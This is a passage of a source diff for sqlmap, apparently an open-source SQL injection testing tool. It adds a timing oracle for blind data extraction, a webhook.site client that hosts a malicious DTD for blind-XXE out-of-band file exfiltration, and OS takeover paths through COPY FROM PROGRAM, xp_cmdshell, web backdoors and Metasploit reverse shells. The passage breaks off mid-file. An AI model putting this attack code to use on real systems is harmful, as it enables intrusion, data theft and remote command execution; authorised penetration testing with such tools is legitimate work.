non-constant-foldable predicate (e.g. ASCII(SUBSTRING((VERSION())::text FROM 1 FOR 1))>1 + for true, >255 for false). This matters because some optimisers (CockroachDB, TiDB, ...) HOIST the + uncorrelated heavy subquery out of the CASE and run it in BOTH branches for such a predicate, while a + CONSTANT-foldable probe like '1=1'/'1=0' lets them prune the dead branch at plan time - so calibrating + with the constant sees a clean heavy delta the REAL extraction never has and engages straight into + corruption (bits become a coin flip). Calibrating with the faithful predicate makes a hoisting target + measure ~0 server-side delta on every rung, so tuneHeavy's MIN_HEAVY_MS gate rejects it and the scan + safely falls back to classic time-based. Falls back to the constant probes when the DBMS ships no + inference/banner template (calibration still gates, just without the hoist check).""" + from lib.core.data import queries + + try: + entry = queries[dbms] + template = entry.inference.query # e.g. 'ASCII(SUBSTRING((%s)::text FROM %d FOR 1))>%d' + banner = entry.banner.query # e.g. 'VERSION()' / 'SELECT @@VERSION' + # int value works for both '>%d' and quoted-char '>%c' templates (chr(1)/chr(255) stay in-range) + return (template % (banner, 1, 1), template % (banner, 1, 255)) + except Exception: + return ("1=1", "1=0") + + +def tuneHeavy(conn, dbms=None, trials=50, threshold=0.97, timeout=30, progress=None, loadFactor=1): + """Walk the cost ladder and return (vector, cost, confidence) for the LIGHTEST rung-2 heavy + that is BOTH (a) big enough in absolute server-side time (>= MIN_HEAVY_MS) to survive extraction load, + and (b) whose response-order signal calibrates as reliable. Returns (None, None, best_confidence) if + none qualifies. + + Requirement (a) is the fix for the fixed-[COST]-means-different-time trap: PostgreSQL generate_series(N) + and MySQL SHA2(REPEAT('a',N)) at the SAME N differ ~10x in wall time, so a fixed floor that is fine for a + generator is a ~1-2 ms nothing for a hash - which calibrates fine IDLE (order reliable) then flips bits + under load. Measuring the real delta and requiring a margin makes the tuning primitive-agnostic and + load-robust; on a fast single-hop backend the smallest qualifying cost is still tiny.""" + from lib.core.common import Backend + + dbms = dbms or Backend.getIdentifiedDbms() + # Probe with the faithful (uncorrelated, non-foldable) extraction predicate, NOT constant 1=1/1=0, so a + # target that hoists the heavy subquery out of the CASE (running it in both branches) is measured with + # ~0 delta and rejected here instead of engaging into corruption. See _calibrationConditions(). + trueCond, falseCond = _calibrationConditions(dbms) + best = 0.0 + for cost in LIGHT_HEAVY_COSTS: + vector = lightHeavyVector(dbms, cost) + if not vector: + return (None, None, 0.0) + reqSlow = _forgeRequest(trueCond, conn.host, vector) + reqFast = _forgeRequest(falseCond, conn.host, vector) + # Measure the coalesced-PAIR times: a one-heavy pair (reqSlow vs reqFast) and a no-heavy pair + # (reqFast vs reqFast). Their separation decides whether a real bit's response ORDER is readable + # (the reliability gate that picks which cost to engage at). + try: + heavyPair = _pairMs(conn, reqSlow, reqFast, timeout=timeout) + cheapPair = _pairMs(conn, reqFast, reqFast, timeout=timeout) + except Exception: + heavyPair = cheapPair = 0.0 + separation = heavyPair - cheapPair + # Reliability gate: the separation must clear an ABSOLUTE floor AND a FRACTION of the base (cheap) + # pair time. An absolute-only floor is enough on a fast single-hop path (cockroach base ~8 ms, a + # 16 ms separation is 2x the base) but marginal on a slow multi-hop one: on Oracle the base pair is + # ~50 ms, so a 15 ms separation is swamped by round-trip jitter under extraction load and ~10% of + # TRUE bits flip - even though it calibrates clean IDLE. Requiring separation >= a fraction of the + # base forces such a target to climb to a cost whose margin survives load (Oracle 60k sep 15 ms -> + # reject -> 200k sep 61 ms -> 0 flips). A fast path is unaffected (its base is tiny). + # `loadFactor` (= worker thread count) scales the required margin: N value-parallel workers each + # fire a heavy query, so the server sees ~Nx load during extraction that single-threaded calibration + # does not, dragging a marginal bit's cond-last fraction into the ambiguous band. Demanding N x the + # separation here climbs to a cost whose bigger delta keeps the fraction ~1.0 even under that load. + if separation < MIN_HEAVY_MS * loadFactor or separation < cheapPair * MIN_SEPARATION_FRAC * loadFactor: + if progress is not None: + progress() + continue # margin too thin to survive load -> escalate cost + usable, confidence = calibrate(conn, reqSlow, reqFast, trials=trials, threshold=threshold, timeout=timeout, progress=progress) + best = max(best, confidence) + if usable: + return (vector, cost, confidence) + return (None, None, best) + + +def _forgeRequest(inferenceExpr, authority, vector=None): + """Forge the full HTTP request sqlmap would send for a payload carrying `inferenceExpr` at the + INFERENCE_MARKER slot of `vector` (default: the current technique's vector), but capture it + (buildOnly) instead of sending - ready to coalesce. Late placeholders ([RANDNUM]/[SLEEPTIME]/...) + are filled by agent.payload just like a normal request.""" + from lib.core.agent import agent + from lib.core.common import getTechniqueData + from lib.core.settings import INFERENCE_MARKER + from lib.request.connect import Connect + + vector = vector if vector is not None else getTechniqueData().vector + forged = agent.suffixQuery(agent.prefixQuery(vector.replace(INFERENCE_MARKER, inferenceExpr))) + spec = Connect.queryPage(agent.payload(newValue=forged), buildOnly=True) + return _specToReq(spec, authority) + + +def readBitLive(conn, condition, vector=None, votes=1, timeout=30): + """Read one boolean from the LIVE injection point by timeless timing. `condition` is the comparison + bisection injects (e.g. 'ORD(...)>64'). The condition request carries it at INFERENCE_MARKER, the + negation request carries NOT(condition); with a heavy-query `vector` exactly one runs the heavy work, + so response order names the bit - no SLEEP. `vector` defaults to the current technique's vector + (rung 1, bare boolean natural delta); pass getHeavyVector() for rung 2. Returns True iff condition holds.""" + reqCond = _forgeRequest(condition, conn.host, vector) + reqNeg = _forgeRequest("NOT(%s)" % condition, conn.host, vector) + return readBit(conn, reqCond, reqNeg, votes=votes, timeout=timeout) + + +def readBitAsymmetric(connSource, reqCond, reqRef, votes=12, timeout=30): + """Read one boolean WITHOUT the negated comparison - only the condition request and a FIXED always-heavy + reference. When the condition is TRUE, reqCond runs the SAME heavy work as reqRef, so they race ~50/50 + and reqCond finishes last about HALF the votes; when FALSE - or when the comparison is NULL / the DBMS + errors on it past the end of a string - reqCond is strictly cheaper and finishes first essentially + always (~0 cond-last). So the DECISION is a fraction threshold well between those two populations, over + a FIXED number of votes (no early-exit): a single stray cond-last from jitter can no longer invent a + phantom character at end-of-string (the bug that appended trailing garbage), while a genuine TRUE still + clears the threshold comfortably. Used as the tiebreak when the symmetric read splits. + Returns True iff the condition holds.""" + condLast = 0 + for i in range(votes): + if i % 2 == 0: + first, condSid, _hiSid = _pairOrder(connSource, reqCond, reqRef, timeout) + else: + first, _loSid, condSid = _pairOrder(connSource, reqRef, reqCond, timeout) + if first != condSid: # cond finished last -> it ran the heavy branch this vote + condLast += 1 + return condLast * 4 >= votes # >= 25% cond-last -> TRUE (mid-way between ~50% and ~0%) + + +def calibrateLive(conn, vector=None, trials=40, threshold=0.9, timeout=30, progress=None): + """Calibrate the live target using a KNOWN asymmetry: INFERENCE=1=1 runs the heavy branch, INFERENCE=1=0 + stays cheap. On a concurrent backend the heavy request finishes last. Returns (usable, confidence); + below threshold the backend serializes or the delta is unreadable -> do NOT use the oracle.""" + reqSlow = _forgeRequest("1=1", conn.host, vector) + reqFast = _forgeRequest("1=0", conn.host, vector) + return calibrate(conn, reqSlow, reqFast, trials=trials, threshold=threshold, timeout=timeout, progress=progress) + + +if __name__ == "__main__": + # End-to-end self-test against a local h2 target that gates query cost on ?bit=/&cap= (scratchpad + # h2sqlserver.py): calibrate, then read a run of known bits and report accuracy. + import sys + + host = sys.argv[1] if len(sys.argv) > 1 else "127.0.0.1" + port = int(sys.argv[2]) if len(sys.argv) > 2 else 8470 + cap = int(sys.argv[3]) if len(sys.argv) > 3 else 8000 + + def req(bit): + return {"method": "GET", "path": "/sql?bit=%d&cap=%d" % (bit, cap), "authority": host} + + conn = connect(host, port, None, 30) + usable, conf = calibrate(conn, req(1), req(0), trials=40) + print("calibrate: usable=%s confidence=%.3f" % (usable, conf)) + if usable: + import itertools + # Read a run of known bits. reqCond carries the actual condition (truth=b -> req(b) runs heavy + # iff b=1); reqNeg carries the negation (truth=1-b -> req(1-b) runs heavy iff b=0). Exactly one + # runs heavy, so a single pair resolves the bit both ways. + bits = list(itertools.islice(itertools.cycle([1, 0, 1, 1, 0, 0, 1, 0]), 24)) + ok = 0 + for b in bits: + got = readBit(conn, req(b), req(1 - b), votes=1) + ok += int(bool(got) == bool(b)) + print("read %d/%d bits correctly (single pair each)" % (ok, len(bits))) + conn.close() diff --git a/lib/request/webhooksite.py b/lib/request/webhooksite.py new file mode 100644 index 00000000000..dac6edf6b70 --- /dev/null +++ b/lib/request/webhooksite.py @@ -0,0 +1,92 @@ +#!/usr/bin/env python + +""" +Copyright (c) 2006-2026 sqlmap developers (https://sqlmap.org) +See the file 'LICENSE' for copying permission +""" + +import json + +from lib.core.data import conf +from lib.core.data import logger +from lib.core.convert import getBytes +from lib.core.convert import getText +from lib.core.enums import HTTP_HEADER +from lib.core.settings import OOB_EXFIL_ENDPOINT + +# webhook.site is used for blind-XXE OOB *exfiltration*: it can both serve a custom +# response (our malicious external DTD) AND log the request the target then makes +# (carrying the file content). interactsh cannot host arbitrary content, hence the +# separate backend. HTTP-only, free tier, no account required for basic tokens. + + +class WebhookSite(object): + """Thin webhook.site client: mints tokens (optionally serving fixed content) + and reads back the requests captured on them. Self-contained on urllib (like the + interactsh client): sqlmap's getPage caches by URL, which would make repeated + polls of the same /requests URL return a stale snapshot and miss the callback.""" + + def __init__(self): + # Exfil host is the public content-serving endpoint (its token API is + # service-specific, so --oob-server, which selects the interactsh *detection* + # server, deliberately does not repoint it). + self.endpoint = OOB_EXFIL_ENDPOINT.rstrip('/') + + def _api(self, path, post=None): + try: + import ssl + try: + from urllib.request import Request as _Request, build_opener, ProxyHandler, HTTPSHandler + except ImportError: + from urllib2 import Request as _Request, build_opener, ProxyHandler, HTTPSHandler + + headers = {HTTP_HEADER.CONTENT_TYPE: "application/json"} if post is not None else {HTTP_HEADER.ACCEPT: "application/json"} + handlers = [] + try: + context = ssl.create_default_context() + if conf.get("verifyCert") is False: + context.check_hostname = False + context.verify_mode = ssl.CERT_NONE + handlers.append(HTTPSHandler(context=context)) + except Exception: + pass + if conf.get("proxy"): + handlers.append(ProxyHandler({"http": conf.proxy, "https": conf.proxy})) + + request = _Request("%s%s" % (self.endpoint, path), data=getBytes(post) if post is not None else None, headers=headers) + response = build_opener(*handlers).open(request, timeout=conf.get("timeout") or 30) + return getText(response.read()) + except Exception as ex: + logger.debug("webhook.site request to '%s' failed: %s" % (path, getText(ex))) + return None + + def newToken(self, content=None): + """Create a token. When `content` is given the token serves it verbatim + (used to host the external DTD). Returns the token UUID or None.""" + body = {"default_status": 200} + if content is not None: + body["default_content"] = content + body["default_content_type"] = "application/xml" + page = self._api("/token", post=json.dumps(body)) + if page: + try: + return json.loads(page).get("uuid") + except ValueError: + pass + return None + + def hostUrl(self, token): + """Target-facing URL for a token. Plain HTTP - XML parsers (libxml) commonly + cannot fetch https external entities.""" + host = self.endpoint.split("://", 1)[-1] + return "http://%s/%s" % (host, token) + + def captured(self, token): + """Return the list of request records captured on `token` (newest first).""" + page = self._api("/token/%s/requests?sorting=newest&per_page=50" % token) + if page: + try: + return json.loads(page).get("data") or [] + except ValueError: + pass + return [] diff --git a/lib/request/websocket.py b/lib/request/websocket.py new file mode 100644 index 00000000000..1d8f56aee4f --- /dev/null +++ b/lib/request/websocket.py @@ -0,0 +1,230 @@ +#!/usr/bin/env python + +""" +Copyright (c) 2006-2026 sqlmap developers (https://sqlmap.org) +See the file 'LICENSE' for copying permission +""" + +# Native, dependency-free WebSocket client (RFC 6455), replacing the 'websocket-client' third-party +# library. Covers exactly what sqlmap needs: the client handshake, masked text framing, wss (TLS) and +# the recv/timeout surface. It also removes the long-standing ambiguity with the unrelated 'websocket' +# PyPI package (both expose a top-level 'websocket' module). Pure standard library, Python 2.7 / 3.x. + +import base64 +import hashlib +import os +import socket +import ssl +import struct + +from lib.core.convert import getBytes +from lib.core.convert import getText +from thirdparty.six.moves import urllib as _urllib + +_GUID = "258EAFA5-E914-47DA-95CA-C5AB0DC85B11" # RFC 6455 magic value for the accept key + +OPCODE_CONTINUATION = 0x0 +OPCODE_TEXT = 0x1 +OPCODE_BINARY = 0x2 +OPCODE_CLOSE = 0x8 +OPCODE_PING = 0x9 +OPCODE_PONG = 0xA + +class WebSocketException(Exception): + pass + +class WebSocketTimeoutException(WebSocketException): + pass + +class WebSocketConnectionClosedException(WebSocketException): + pass + +class WebSocket(object): + """ + Minimal RFC 6455 client exposing the websocket-client subset used by sqlmap: settimeout(), connect(), + send(), recv(), close(), the handshake .status and getheaders() + """ + + def __init__(self): + self.sock = None + self.status = None + self._headers = {} + self._timeout = None + self._buffer = b"" + self._closed = False + + def settimeout(self, timeout): + self._timeout = timeout + if self.sock is not None: + self.sock.settimeout(timeout) + + def connect(self, url, header=None, cookie=None): + parts = _urllib.parse.urlsplit(url) + secure = parts.scheme == "wss" + host = parts.hostname + port = parts.port or (443 if secure else 80) + resource = parts.path or "/" + if parts.query: + resource += "?%s" % parts.query + + self.sock = socket.create_connection((host, port), timeout=self._timeout) + if secure: + self.sock = ssl._create_unverified_context().wrap_socket(self.sock, server_hostname=host) + self.sock.settimeout(self._timeout) + + hostport = "[%s]" % host if ":" in host else host # bracket IPv6 literals + if port not in (80, 443): + hostport = "%s:%d" % (hostport, port) + + key = getText(base64.b64encode(os.urandom(16))) + lines = ["GET %s HTTP/1.1" % resource, + "Host: %s" % hostport, + "Upgrade: websocket", + "Connection: Upgrade", + "Sec-WebSocket-Key: %s" % key, + "Sec-WebSocket-Version: 13"] + for _ in (header or ()): + lines.append(_) + if cookie: + lines.append("Cookie: %s" % cookie) + lines.extend(("", "")) + self.sock.sendall(getBytes("\r\n".join(lines))) + + self._readHandshake(key) + + def _readHandshake(self, key): + while b"\r\n\r\n" not in self._buffer: + chunk = self._recvSome() + if not chunk: + raise WebSocketException("incomplete WebSocket handshake response") + self._buffer += chunk + + head, _, self._buffer = self._buffer.partition(b"\r\n\r\n") + lines = getText(head).split("\r\n") + + try: + self.status = int(lines[0].split(" ", 2)[1]) + except (IndexError, ValueError): + raise WebSocketException("malformed WebSocket handshake response") + + for line in lines[1:]: + name, _, value = line.partition(":") + self._headers[name.strip().lower()] = value.strip() + + if self.status != 101: + raise WebSocketException("Handshake status %d" % self.status) # 'Handshake status' is matched in connect.py + + accept = getText(self._headers.get("sec-websocket-accept", "")) + expected = getText(base64.b64encode(hashlib.sha1(getBytes(key + _GUID)).digest())) + if accept != expected: + raise WebSocketException("invalid 'Sec-WebSocket-Accept' in handshake response") + + def getheaders(self): + return dict(self._headers) + + def send(self, payload, opcode=OPCODE_TEXT): + self._sendFrame(getBytes(payload), opcode) + + def _sendFrame(self, data, opcode): + length = len(data) + frame = bytearray() + frame.append(0x80 | opcode) # FIN set, single (unfragmented) frame + + if length < 126: + frame.append(0x80 | length) # client frames must set the mask bit + elif length < 65536: + frame.append(0x80 | 126) + frame += struct.pack("!H", length) + else: + frame.append(0x80 | 127) + frame += struct.pack("!Q", length) + + mask = bytearray(os.urandom(4)) + frame += mask + payload = bytearray(data) + for i in range(length): + payload[i] ^= mask[i % 4] + frame += payload + + try: + self.sock.sendall(bytes(frame)) + except socket.timeout: + raise WebSocketTimeoutException("timed out while sending data") + except ssl.SSLError as ex: + if "timed out" in str(ex).lower(): + raise WebSocketTimeoutException("timed out while sending data") + raise + + def recv(self): + data = bytearray() + while True: + fin, opcode, payload = self._recvFrame() + if opcode == OPCODE_CLOSE: + self._closed = True + raise WebSocketConnectionClosedException("WebSocket connection closed") + elif opcode == OPCODE_PING: + self._sendFrame(bytes(payload), OPCODE_PONG) + continue + elif opcode == OPCODE_PONG: + continue + + data += payload + if fin: + break + + return getText(bytes(data)) + + def _recvFrame(self): + header = bytearray(self._readStrict(2)) + fin = (header[0] >> 7) & 1 + opcode = header[0] & 0x0F + masked = (header[1] >> 7) & 1 + length = header[1] & 0x7F + + if length == 126: + length = struct.unpack("!H", self._readStrict(2))[0] + elif length == 127: + length = struct.unpack("!Q", self._readStrict(8))[0] + + mask = bytearray(self._readStrict(4)) if masked else None + payload = bytearray(self._readStrict(length)) + if mask is not None: # servers must not mask, but unmask defensively + for i in range(length): + payload[i] ^= mask[i % 4] + + return fin, opcode, payload + + def _readStrict(self, count): + while len(self._buffer) < count: + chunk = self._recvSome() + if not chunk: + raise WebSocketConnectionClosedException("WebSocket connection closed") + self._buffer += chunk + + result, self._buffer = self._buffer[:count], self._buffer[count:] + return result + + def _recvSome(self): + try: + return self.sock.recv(8192) + except socket.timeout: + raise WebSocketTimeoutException("timed out while receiving data") + except ssl.SSLError as ex: + # Python 2 raises ssl.SSLError('The read operation timed out') instead of socket.timeout on a + # TLS read timeout - which is exactly sqlmap's normal "read frames until timeout" path over wss + if "timed out" in str(ex).lower(): + raise WebSocketTimeoutException("timed out while receiving data") + raise + + def close(self): + if self.sock is not None: + try: + if not self._closed: + self._sendFrame(struct.pack("!H", 1000), OPCODE_CLOSE) # normal closure + except (socket.error, WebSocketException): + pass + try: + self.sock.close() + except socket.error: + pass + self.sock = None diff --git a/lib/takeover/__init__.py b/lib/takeover/__init__.py index 8d7bcd8f0a1..bcac841631b 100644 --- a/lib/takeover/__init__.py +++ b/lib/takeover/__init__.py @@ -1,8 +1,8 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2015 sqlmap developers (http://sqlmap.org/) -See the file 'doc/COPYING' for copying permission +Copyright (c) 2006-2026 sqlmap developers (https://sqlmap.org) +See the file 'LICENSE' for copying permission """ pass diff --git a/lib/takeover/abstraction.py b/lib/takeover/abstraction.py index 20ff60fc53c..2ec4b4c9377 100644 --- a/lib/takeover/abstraction.py +++ b/lib/takeover/abstraction.py @@ -1,20 +1,22 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2015 sqlmap developers (http://sqlmap.org/) -See the file 'doc/COPYING' for copying permission +Copyright (c) 2006-2026 sqlmap developers (https://sqlmap.org) +See the file 'LICENSE' for copying permission """ +from __future__ import print_function + import sys -from extra.safe2bin.safe2bin import safechardecode -from lib.core.common import dataToStdout from lib.core.common import Backend +from lib.core.common import dataToStdout from lib.core.common import getSQLSnippet -from lib.core.common import getUnicode from lib.core.common import isStackingAvailable from lib.core.common import readInput +from lib.core.convert import getUnicode from lib.core.data import conf +from lib.core.data import kb from lib.core.data import logger from lib.core.enums import AUTOCOMPLETE_TYPE from lib.core.enums import DBMS @@ -25,13 +27,14 @@ from lib.request import inject from lib.takeover.udf import UDF from lib.takeover.web import Web -from lib.takeover.xp_cmdshell import Xp_cmdshell - +from lib.takeover.xp_cmdshell import XP_cmdshell +from lib.utils.safe2bin import safechardecode +from thirdparty.six.moves import input as _input -class Abstraction(Web, UDF, Xp_cmdshell): +class Abstraction(Web, UDF, XP_cmdshell): """ This class defines an abstraction layer for OS takeover functionalities - to UDF / Xp_cmdshell objects + to UDF / XP_cmdshell objects """ def __init__(self): @@ -40,18 +43,27 @@ def __init__(self): UDF.__init__(self) Web.__init__(self) - Xp_cmdshell.__init__(self) + XP_cmdshell.__init__(self) def execCmd(self, cmd, silent=False): - if self.webBackdoorUrl and not isStackingAvailable(): + if Backend.isDbms(DBMS.PGSQL) and self.checkCopyExec(): + self.copyExecCmd(cmd) + + elif self.webBackdoorUrl and (not isStackingAvailable() or kb.udfFail): self.webBackdoorRunCmd(cmd) + elif Backend.isDbms(DBMS.PGSQL) and self.checkPlExec(): + self.plExecCmd(cmd, silent=silent) + elif Backend.getIdentifiedDbms() in (DBMS.MYSQL, DBMS.PGSQL): self.udfExecCmd(cmd, silent=silent) elif Backend.isDbms(DBMS.MSSQL): self.xpCmdshellExecCmd(cmd, silent=silent) + elif Backend.isDbms(DBMS.H2): + self.h2ExecCmd(cmd, silent=silent) + else: errMsg = "Feature not yet implemented for the back-end DBMS" raise SqlmapUnsupportedFeatureException(errMsg) @@ -59,15 +71,24 @@ def execCmd(self, cmd, silent=False): def evalCmd(self, cmd, first=None, last=None): retVal = None - if self.webBackdoorUrl and not isStackingAvailable(): + if Backend.isDbms(DBMS.PGSQL) and self.checkCopyExec(): + retVal = self.copyExecCmd(cmd) + + elif self.webBackdoorUrl and (not isStackingAvailable() or kb.udfFail): retVal = self.webBackdoorRunCmd(cmd) + elif Backend.isDbms(DBMS.PGSQL) and self.checkPlExec(): + retVal = self.plExecCmd(cmd) + elif Backend.getIdentifiedDbms() in (DBMS.MYSQL, DBMS.PGSQL): retVal = self.udfEvalCmd(cmd, first, last) elif Backend.isDbms(DBMS.MSSQL): retVal = self.xpCmdshellEvalCmd(cmd, first, last) + elif Backend.isDbms(DBMS.H2): + retVal = self.h2EvalCmd(cmd, first, last) + else: errMsg = "Feature not yet implemented for the back-end DBMS" raise SqlmapUnsupportedFeatureException(errMsg) @@ -75,17 +96,17 @@ def evalCmd(self, cmd, first=None, last=None): return safechardecode(retVal) def runCmd(self, cmd): - getOutput = None + choice = None if not self.alwaysRetrieveCmdOutput: message = "do you want to retrieve the command standard " message += "output? [Y/n/a] " - getOutput = readInput(message, default="Y") + choice = readInput(message, default='Y').upper() - if getOutput in ("a", "A"): + if choice == 'A': self.alwaysRetrieveCmdOutput = True - if not getOutput or getOutput in ("y", "Y") or self.alwaysRetrieveCmdOutput: + if choice == 'Y' or self.alwaysRetrieveCmdOutput: output = self.evalCmd(cmd) if output: @@ -96,20 +117,25 @@ def runCmd(self, cmd): self.execCmd(cmd) def shell(self): - if self.webBackdoorUrl and not isStackingAvailable(): + if self.webBackdoorUrl and (not isStackingAvailable() or kb.udfFail): infoMsg = "calling OS shell. To quit type " infoMsg += "'x' or 'q' and press ENTER" logger.info(infoMsg) else: - if Backend.getIdentifiedDbms() in (DBMS.MYSQL, DBMS.PGSQL): - infoMsg = "going to use injected sys_eval and sys_exec " - infoMsg += "user-defined functions for operating system " + if Backend.isDbms(DBMS.PGSQL) and self.checkCopyExec(): + infoMsg = "going to use 'COPY ... FROM PROGRAM ...' " + infoMsg += "command execution" + logger.info(infoMsg) + + elif Backend.getIdentifiedDbms() in (DBMS.MYSQL, DBMS.PGSQL): + infoMsg = "going to use injected user-defined functions " + infoMsg += "'sys_eval' and 'sys_exec' for operating system " infoMsg += "command execution" logger.info(infoMsg) elif Backend.isDbms(DBMS.MSSQL): - infoMsg = "going to use xp_cmdshell extended procedure for " + infoMsg = "going to use extended procedure 'xp_cmdshell' for " infoMsg += "operating system command execution" logger.info(infoMsg) @@ -127,14 +153,16 @@ def shell(self): command = None try: - command = raw_input("os-shell> ") + command = _input("os-shell> ") command = getUnicode(command, encoding=sys.stdin.encoding) + except UnicodeDecodeError: + pass except KeyboardInterrupt: - print + print() errMsg = "user aborted" logger.error(errMsg) except EOFError: - print + print() errMsg = "exit" logger.error(errMsg) break @@ -166,16 +194,15 @@ def _initRunAs(self): msg += "statements as another DBMS user since you provided the " msg += "option '--dbms-creds'. If you are DBA, you can enable it. " msg += "Do you want to enable it? [Y/n] " - choice = readInput(msg, default="Y") - if not choice or choice in ("y", "Y"): + if readInput(msg, default='Y', boolean=True): expression = getSQLSnippet(DBMS.MSSQL, "configure_openrowset", ENABLE="1") inject.goStacked(expression) # TODO: add support for PostgreSQL - #elif Backend.isDbms(DBMS.PGSQL): - # expression = getSQLSnippet(DBMS.PGSQL, "configure_dblink", ENABLE="1") - # inject.goStacked(expression) + # elif Backend.isDbms(DBMS.PGSQL): + # expression = getSQLSnippet(DBMS.PGSQL, "configure_dblink", ENABLE="1") + # inject.goStacked(expression) def initEnv(self, mandatory=True, detailed=False, web=False, forceInit=False): self._initRunAs() @@ -190,7 +217,7 @@ def initEnv(self, mandatory=True, detailed=False, web=False, forceInit=False): if mandatory and not self.isDba(): warnMsg = "functionality requested probably does not work because " - warnMsg += "the curent session user is not a database administrator" + warnMsg += "the current session user is not a database administrator" if not conf.dbmsCred and Backend.getIdentifiedDbms() in (DBMS.MSSQL, DBMS.PGSQL): warnMsg += ". You can try to use option '--dbms-cred' " @@ -198,9 +225,11 @@ def initEnv(self, mandatory=True, detailed=False, web=False, forceInit=False): warnMsg += "were able to extract and crack a DBA " warnMsg += "password by any mean" - logger.warn(warnMsg) + logger.warning(warnMsg) - if Backend.getIdentifiedDbms() in (DBMS.MYSQL, DBMS.PGSQL): + if any((conf.osCmd, conf.osShell)) and Backend.isDbms(DBMS.PGSQL) and (self.checkCopyExec() or self.checkPlExec()): + success = True + elif Backend.getIdentifiedDbms() in (DBMS.MYSQL, DBMS.PGSQL): success = self.udfInjectSys() if success is not True: diff --git a/lib/takeover/icmpsh.py b/lib/takeover/icmpsh.py index fc742b04a39..044394fc04a 100644 --- a/lib/takeover/icmpsh.py +++ b/lib/takeover/icmpsh.py @@ -1,11 +1,13 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2015 sqlmap developers (http://sqlmap.org/) -See the file 'doc/COPYING' for copying permission +Copyright (c) 2006-2026 sqlmap developers (https://sqlmap.org) +See the file 'LICENSE' for copying permission """ import os +import re +import socket import time from extra.icmpsh.icmpsh_m import main as icmpshmaster @@ -20,7 +22,7 @@ from lib.core.data import paths from lib.core.exception import SqlmapDataException -class ICMPsh: +class ICMPsh(object): """ This class defines methods to call icmpsh for plugins. """ @@ -54,15 +56,29 @@ def _selectLhost(self): if self.localIP: message += "[Enter for '%s' (detected)] " % self.localIP - while not address: - address = readInput(message, default=self.localIP) + valid = None + while not valid: + valid = True + address = readInput(message, default=self.localIP or "") + + try: + socket.inet_aton(address) + except socket.error: + valid = False + finally: + valid = valid and re.search(r"\d+\.\d+\.\d+\.\d+", address) is not None if conf.batch and not address: raise SqlmapDataException("local host address is missing") + elif address and not valid: + warnMsg = "invalid local host address" + logger.warning(warnMsg) return address def _prepareIngredients(self, encode=True): + self.localIP = getattr(self, "localIP", None) + self.remoteIP = getattr(self, "remoteIP", None) self.lhostStr = ICMPsh._selectLhost(self) self.rhostStr = ICMPsh._selectRhost(self) diff --git a/lib/takeover/metasploit.py b/lib/takeover/metasploit.py index 10d3a3022ca..d29dfae9af6 100644 --- a/lib/takeover/metasploit.py +++ b/lib/takeover/metasploit.py @@ -1,12 +1,16 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2015 sqlmap developers (http://sqlmap.org/) -See the file 'doc/COPYING' for copying permission +Copyright (c) 2006-2026 sqlmap developers (https://sqlmap.org) +See the file 'LICENSE' for copying permission """ +from __future__ import print_function + +import errno import os import re +import select import sys import tempfile import time @@ -19,13 +23,15 @@ from lib.core.common import Backend from lib.core.common import getLocalIP from lib.core.common import getRemoteIP -from lib.core.common import getUnicode +from lib.core.common import isDigit from lib.core.common import normalizePath from lib.core.common import ntToPosixSlashes from lib.core.common import pollProcess from lib.core.common import randomRange from lib.core.common import randomStr from lib.core.common import readInput +from lib.core.convert import getBytes +from lib.core.convert import getText from lib.core.data import conf from lib.core.data import kb from lib.core.data import logger @@ -38,19 +44,17 @@ from lib.core.settings import IS_WIN from lib.core.settings import METASPLOIT_SESSION_TIMEOUT from lib.core.settings import SHELLCODEEXEC_RANDOM_STRING_MARKER -from lib.core.settings import UNICODE_ENCODING from lib.core.subprocessng import blockingReadFromFD from lib.core.subprocessng import blockingWriteToFD from lib.core.subprocessng import Popen as execute from lib.core.subprocessng import send_all from lib.core.subprocessng import recv_some +from thirdparty import six if IS_WIN: import msvcrt -else: - from select import select -class Metasploit: +class Metasploit(object): """ This class defines methods to call Metasploit for plugins. """ @@ -65,84 +69,67 @@ def _initVars(self): self.payloadConnStr = None self.localIP = getLocalIP() self.remoteIP = getRemoteIP() or conf.hostname - self._msfCli = normalizePath(os.path.join(conf.msfPath, "msfcli")) - self._msfConsole = normalizePath(os.path.join(conf.msfPath, "msfconsole")) - self._msfEncode = normalizePath(os.path.join(conf.msfPath, "msfencode")) - self._msfPayload = normalizePath(os.path.join(conf.msfPath, "msfpayload")) - self._msfVenom = normalizePath(os.path.join(conf.msfPath, "msfvenom")) - - if IS_WIN: - _ = conf.msfPath - while _: - if os.path.exists(os.path.join(_, "scripts")): - _ = os.path.join(_, "scripts", "setenv.bat") - break - else: - old = _ - _ = normalizePath(os.path.join(_, "..")) - if _ == old: - break - self._msfCli = "%s & ruby %s" % (_, self._msfCli) - self._msfConsole = "%s & ruby %s" % (_, self._msfConsole) - self._msfEncode = "ruby %s" % self._msfEncode - self._msfPayload = "%s & ruby %s" % (_, self._msfPayload) - self._msfVenom = "%s & ruby %s" % (_, self._msfVenom) + self._msfCli = normalizePath(os.path.join(conf.msfPath, "msfcli%s" % (".bat" if IS_WIN else ""))) + self._msfConsole = normalizePath(os.path.join(conf.msfPath, "msfconsole%s" % (".bat" if IS_WIN else ""))) + self._msfEncode = normalizePath(os.path.join(conf.msfPath, "msfencode%s" % (".bat" if IS_WIN else ""))) + self._msfPayload = normalizePath(os.path.join(conf.msfPath, "msfpayload%s" % (".bat" if IS_WIN else ""))) + self._msfVenom = normalizePath(os.path.join(conf.msfPath, "msfvenom%s" % (".bat" if IS_WIN else ""))) self._msfPayloadsList = { - "windows": { - 1: ("Meterpreter (default)", "windows/meterpreter"), - 2: ("Shell", "windows/shell"), - 3: ("VNC", "windows/vncinject"), - }, - "linux": { - 1: ("Shell (default)", "linux/x86/shell"), - 2: ("Meterpreter (beta)", "linux/x86/meterpreter"), - } - } + "windows": { + 1: ("Meterpreter (default)", "windows/meterpreter"), + 2: ("Shell", "windows/shell"), + 3: ("VNC", "windows/vncinject"), + }, + "linux": { + 1: ("Shell (default)", "linux/x86/shell"), + 2: ("Meterpreter (beta)", "linux/x86/meterpreter"), + } + } self._msfConnectionsList = { - "windows": { - 1: ("Reverse TCP: Connect back from the database host to this machine (default)", "reverse_tcp"), - 2: ("Reverse TCP: Try to connect back from the database host to this machine, on all ports between the specified and 65535", "reverse_tcp_allports"), - 3: ("Reverse HTTP: Connect back from the database host to this machine tunnelling traffic over HTTP", "reverse_http"), - 4: ("Reverse HTTPS: Connect back from the database host to this machine tunnelling traffic over HTTPS", "reverse_https"), - 